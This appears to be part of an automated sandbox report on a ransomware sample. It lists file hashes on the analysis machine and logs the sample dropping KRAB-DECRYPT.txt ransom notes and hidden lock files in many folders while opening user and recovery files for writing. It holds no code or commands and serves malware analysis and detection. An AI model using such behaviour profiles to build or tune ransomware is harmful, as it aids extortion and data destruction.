c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328940[[fn=radial picture list]].glox 5.97 KB MD5: 3d6ce9398c7eee7c02d0f0b370205bc3
SHA1: 277d0913a672f46cc4bc2b1a293b62d6688fe924
SHA256: e4612e68e812cba02e3f212aed5ad51557f115987a3fde968fa170f8d41e6f9e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328951[[fn=tabbed arc]].glox 4.10 KB MD5: 47471cecb7bdb10a02d0036d528d91c4
SHA1: c8623ea1db978ac4c0ce38c02f1efab39aed57e9
SHA256: 8f85a4935fe649609996ec98f876cb937163bf257e1f141ff41e17eaeacad366 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328972[[fn=tab list]].glox 5.28 KB MD5: 005415cb47ebbcb586420406b62d1f28
SHA1: 4688f615c166b340fd07dc8e841356f6a3c266bb
SHA256: 1218c74944b2bacd2446a8febd561c68c8c0d3a7ab2d09cecf00365fdee2a600 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328975[[fn=theme picture accent]].glox 6.80 KB MD5: bd25d1b8c8ecdc568a4ea90284c3d840
SHA1: 92328401485c9e0e376ed54b8568e8f8663bd428
SHA256: 44707444d7747335c71558ffb8d17ae5ce4133978372ff3cce1ea80f86a3c504 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328983[[fn=theme picture alternating accent]].glox 6.01 KB MD5: 35d1bec1f6bb713a2b0c58a7923cbef5
SHA1: 7eccb2c35448f77b0fc1316904f9a3a721c3487d
SHA256: 9e158a9bfb20f2827fba1368b789b883aac476bc668c3109b5310f267fd6ed60 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328986[[fn=theme picture grid]].glox 6.56 KB MD5: 96429dcfcab758b3ca7265baefc32391
SHA1: 414ae82cc3f897e7b85d28f3784bd3376a9dd950
SHA256: 2f332acf4ffe4b1dbe99a7efd3527802ef6d1a2352f6c5fe59eb3e410b9a2a01 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328990[[fn=varying width list]].glox 3.51 KB MD5: a90652e285d8a25b4a4a9d4136a7a596
SHA1: 75f8e7e454821c92e8f483a693c40bb29a63a400
SHA256: f6ec02c5f4e041bc137f41b9d84ebeea92218fc5dca7a9777015187eefdf5c4b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328998[[fn=rings]].glox 5.54 KB MD5: 35abb1b63ce9cd215247ecbcd50f8c9a
SHA1: c25437969fc62f465e9570900455c5f8c847bb28
SHA256: 58cdde6f8f3d3e5a153d9099890359fbca27f75ad0d53d9e08154165527f13d8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\normal.dotm 18.92 KB MD5: e11aa2d71ee9fa45e5e46a2cfb792e8a
SHA1: 0b5f1dcf3cb5ac62ec689e9f987bea574d375835
SHA256: c327172492a3d793d0bf174b00e1f04dfca78912118da4e5179b3a0ec3b30bc9 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\process map for basic flowchart.xltx 107.88 KB MD5: f6c65d037a490932cc4c8e60fbf64953
SHA1: 1dc059fb97cdc6cc0d86c45c1ba6bef7d216fac0
SHA256: fecf5781b081363ecf2c27265639dc31f9486fd8eb18563ca28e3e773f958f66 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\process map for cross-functional flowchart.xltx 141.85 KB MD5: 860fb438ac3ab40b216dd1c6f836f3c6
SHA1: 1e147259d58213b930a946e7d449ec3088fcbb46
SHA256: ca21ce34b5f0686f10c5fac6ece80287c256e42d50b4628122e2bf0a2fc1f760 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\stock symbols comparison.xltm 1.39 MB MD5: 2b4e343c36b69930596c04412a6f5dee
SHA1: e0c0f252eb05d426f3a92a3cc64e403442c9ec80
SHA256: e3009b1634223dd8f60a6e7e9d11f868f14c76b8f7fcad2e1c4e1c850beeffc8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\welcome to excel.xltx 483.66 KB MD5: 4fb1b6759681260d56e5384e4c133dea
SHA1: 77984c5cab483afdafcb7dfaf13c2f44a575430d
SHA256: f9763f1cf95d88b06e7d1eaf523750fceb78704946edc5566a85c9cff65e008e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\uproof\custom.dic 0.54 KB MD5: 506bef14e483675a563e1db7359c5a9a
SHA1: 44939a63b91fa3a6729263880d882ca80c49bab9
SHA256: b7aed6767bc1d27657c8a53cd2281488b15ecd3f155eaa20e62821bfe05c4c44 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mkjuloiv-xwixtogwvo.odp 12.09 KB MD5: 5ddb4030b585c0d5ef0f1df70b218fcd
SHA1: 3f81c273c4eb00ae21c3fb260977b4d1a111aae2
SHA256: 8cb81933340cfd60043e698ca6c9f5e62c692726f0358ead7034aeeab11527a8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\crash reports\installtime20170518000419 0.52 KB MD5: 3dc270963959f966c4c940ad02b03fe5
SHA1: a1d153eeb1cebfda6abd71186780d754a8ca3b39
SHA256: 61c54641a438dc84dc83cf7616b92ea3df8eec166593c2e0526924f8083fe9e1 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\addons.json 0.53 KB MD5: d457e23dac145c5e3cdeb563c292f5be
SHA1: e77c79563d61c363079e2661a30f83dd35059e7f
SHA256: 3f1086c7e3b5c4474cef6388666dbcaa81f836200afc5c7a5b70cf63a1921f3f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\blocklist-addons.json 450.02 KB MD5: b0fd5b300a767ec723f6a214383e2da7
SHA1: 3d58fabd8c05f2c6045fb6940ce0e528106c2bc5
SHA256: e9bb37f71e9eabc4b7718f411c7509cbc60fb3b15c0a21ffc7087402769d0172 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\blocklist-gfx.json 27.81 KB MD5: 07e5ceee3ca06666e39b565aa198795a
SHA1: 4d380f6e2ab80333491e4b9ebf267410508e074c
SHA256: ff1f880d631bbc50b045ecced1a3b0976e44e2fde0cfb437f7afaf74486bda4f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\blocklist-plugins.json 197.20 KB MD5: 7bbdabaea78ceb071cfcc8c55fe8f359
SHA1: 98380cdc952887daafc97f982c8a2502f4d971cc
SHA256: edcedf5c6f40b4647590e5f17173fcef806ea7acc48692210a6ff5fd353260f6 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\blocklist.xml 252.41 KB MD5: 2172ec077e914405e8cd7648dee4a325
SHA1: be190051f9efeaecbb4e0ba3d322649a63629539
SHA256: 7b7e45b9aa4aafd1fb3345937cd51d0f62f23bc393d0b5cbe7e1a73066fef907 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\bookmarkbackups\bookmarks-2017-05-24_14_kl0o5i+exwq3txuldkmf9w==.jsonlz4 1.84 KB MD5: 28f0ecd080c9941f11fa18f00f80ad6e
SHA1: 398fd0291db04696fcea3048b3df30d39ecceb82
SHA256: 84b409d67ff7d24c8083362e7be4023a26c473fcfa0c8d89e08bd59f4ec451e8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\cert8.db 96.51 KB MD5: 06fd5d22601721fae6200ab3d8d2b933
SHA1: 98f354121a19386171b03996a93324fd212a4968
SHA256: e233f6f885825837159ff6a4fea3207590898b6fd555b701764ca36741898421 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\compatibility.ini 0.71 KB MD5: 1e682a43b22fc4a36949abd488be273a
SHA1: b89bf2ee9768c3a56cfb07a99454deaf8c553cb4
SHA256: 3a9985219d59bbd0576b030c2c0eb03847f2631560a4d18692091e82b3170443 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\containers.json 1.30 KB MD5: d3c9107d1a636bb398d3af563ea7db2c
SHA1: 34eac51c1c8f1e0c813a18aaa17d5c09c69bf33a
SHA256: 05f4ac933c57a8777ee7b5caf5594c55e15dcffd013724d0f3a8c6202c97e7e6 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\content-prefs.sqlite 224.51 KB MD5: 9b3f858065717b5fe1e08ee4e386993e
SHA1: 9e9fdb1ab9470c0f66bf14c94ce64c42b8f3677c
SHA256: adb871b2a08daade6177fd0baaa9b6a61248c1be483efbaa091c7770624c7102 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\cookies.sqlite 512.51 KB MD5: 1741b7497b7fceb0663e021af714addf
SHA1: f0f67595c08b8683fab549fbb02218be4891259f
SHA256: 581eb7e6a1b25d4e6a854f698056eec1b3a33763d03223d05dec802e48f2fce7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\crashes\store.json.mozlz4 0.57 KB MD5: a6202e7e6500e1fa0cddb2a67386d871
SHA1: 3595e8f5ea5f4d8a7e34b4e15cac95131baac8d1
SHA256: 08ebf1253cd56aeff584099d5ade45330b29150311b174fb4af2c78925095787 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4 6.05 KB MD5: 6f104772df755324afaf675eb0321d6b
SHA1: cf71b1df3905fb0319c1cf3d66e6f79c04bec06e
SHA256: ced398f90a710fbed71a4b4ebd50dcd089ece9f59d949df6679c1bd6d901ce33 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4 5.38 KB MD5: 53ce0190ffed294140c981c822e6a101
SHA1: 4011a8df8ec3b9f10b77f090d6a13ede60773a8b
SHA256: 3e474d46ff599bb1b3f247d48839e6869b82f3ed8d6b11de428fc1dc30bc1130 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4 5.51 KB MD5: 2d38713e89209aa47cd49f616cacc8aa
SHA1: 3be5c9cbc139b54948ec43233f82b5a619d495a7
SHA256: 9f1a075d0c118b0bdf6bf2d469bed211c2776135d4406912dcbdbc7b52c67e2b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4 5.68 KB MD5: b2b98c8fbeae33c47c84f2d6082bda17
SHA1: 9697a6ea81537a94f25eba46a9333ec987f1bdd6
SHA256: 717402edb7f2dbfce026b8850f17fe9f4ab942c5af2e53b65fa0013f7bec7538 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4 5.66 KB MD5: 04ec07912c8184b049bfc2c08b7071dc
SHA1: 5afff4fe0b559a9936c45e35321cbd0fab087853
SHA256: 9d0da01bb1179978dba9c5147aef88294614b9383e7c8482888358e67d93d0c9 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4 6.54 KB MD5: dbad977999c80be84e415efd5aca2d36
SHA1: 1d1b94384345473780fca5a82004e39540df8ec7
SHA256: 7bde5072b54f1425a08797b9e42d810a47a57ad755ba8f6be3cca36f58be105e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4 5.56 KB MD5: 8fcd412d1b017f12bdd819da063c9375
SHA1: fcb52cb8d3f30d63f62ad3ccece1550f6fa0ba3e
SHA256: f7c6aa493e1936618280d85f72eb7bbb2913be80a3889992b84ac69a73a007db 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\session-state.json 0.64 KB MD5: 2b130d272c7931a5c919a60b2160544a
SHA1: 33b343fbb272545fa8af7d53b9cbd672a17d7147
SHA256: 452cccce47cafa64268006f5cc416ddcfea9cf1b9cc982c3c6860bb7c0fdca23 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\state.json 0.56 KB MD5: eb07d3c5778ade3c3c14b5015cd4b8fd
SHA1: 7efa9e015d0d1d44b78276c989bddcd6b2c1feb1
SHA256: b2890ad48aea2e2c531caaa8eab80a36579d4b8e27656b5f3d3fa1ddd3f21826 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\extensions.ini 0.69 KB MD5: 31e437eb704643d6895e48ca689546ba
SHA1: da1acce8c7865c267929e8e7909259e9a5759885
SHA256: 6ba7135515a880025cdfc44ff01b3936419df0ce766352e1fda02674f20653c0 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\extensions.json 6.30 KB MD5: 3f68e8e5e784c1f07757df2967c7cfeb
SHA1: 6d97bbb6d916e6faea76e86a77964b73e55a6096
SHA256: 943ba53640bf4c07ccccefa488e385d1f42d7b01f0c922b41878f5073362c35f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\formhistory.sqlite 192.51 KB MD5: 0af2fdf41521800a49fd5f368a3fb8a5
SHA1: c20d5b5226a49b760a82d39353405fc2bba7d111
SHA256: 2fe27b2a5c08eb70731d2b0d35a293f6d523268a514896cc7f6cc114beace715 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-gmpopenh264\1.6\gmpopenh264.info 0.62 KB MD5: 7e0ff5faa69deb4a2570a5f79e8753fc
SHA1: f0893a34d1a41be0c398233103062bd1af4f3580
SHA256: 4c0002593ca2ff9b9f391394f6889845b15c049bf6e13ffb9ae4afdde3ae8244 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-widevinecdm\1.4.8.903\license.txt 0.98 KB MD5: 1649653afa934d7c01155bda99d8ad77
SHA1: 17193be2c5783bfb1501c607060716bee4097557
SHA256: 917d68a2e2c6dc1e02ea7944a9b7b8c7ab2178857b246c003b86933a6f9e1537 		False
...
Host Behavior
File (3295)
»
Operation Filename Additional Information Success Count Logfile
Create C:\ProgramData\696526F7.lock desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_DELETE_ON_CLOSE True 1
Fn
Create C:\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\$Recycle.Bin\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\$Recycle.Bin\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\$Recycle.Bin\S-1-5-18\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\$Recycle.Bin\S-1-5-18\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\$Recycle.Bin\S-1-5-21-1462094071-1423818996-289466292-1000\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\$Recycle.Bin\S-1-5-21-1462094071-1423818996-289466292-1000\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\bootmgr desired_access = GENERIC_WRITE, GENERIC_READ False 1
Fn
Create C:\Documents and Settings\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Documents and Settings\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\PerfLogs\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\PerfLogs\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Program Files\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files (x86)\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Program Files (x86)\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Recovery\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Recovery\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Recovery\WindowsRE\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Recovery\WindowsRE\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Recovery\WindowsRE\boot.sdi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Recovery\WindowsRE\ReAgent.xml desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Recovery\WindowsRE\Winre.wim desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\System Volume Information\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\System Volume Information\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 1
Fn
Create C:\Users\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\1kyvuc.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\3JIaQ04Ky Uur8j.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\4 XO3.pdf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\7bsumngp.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\7jr7I.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Collab\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Collab\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Forms\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Forms\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\JSCache\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\JSCache\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Flash Player\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Flash Player\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Flash Player\AssetCache\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Flash Player\AssetCache\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Flash Player\AssetCache\NAHQNPMN\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Flash Player\AssetCache\NAHQNPMN\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Flash Player\NativeCache\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Flash Player\NativeCache\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
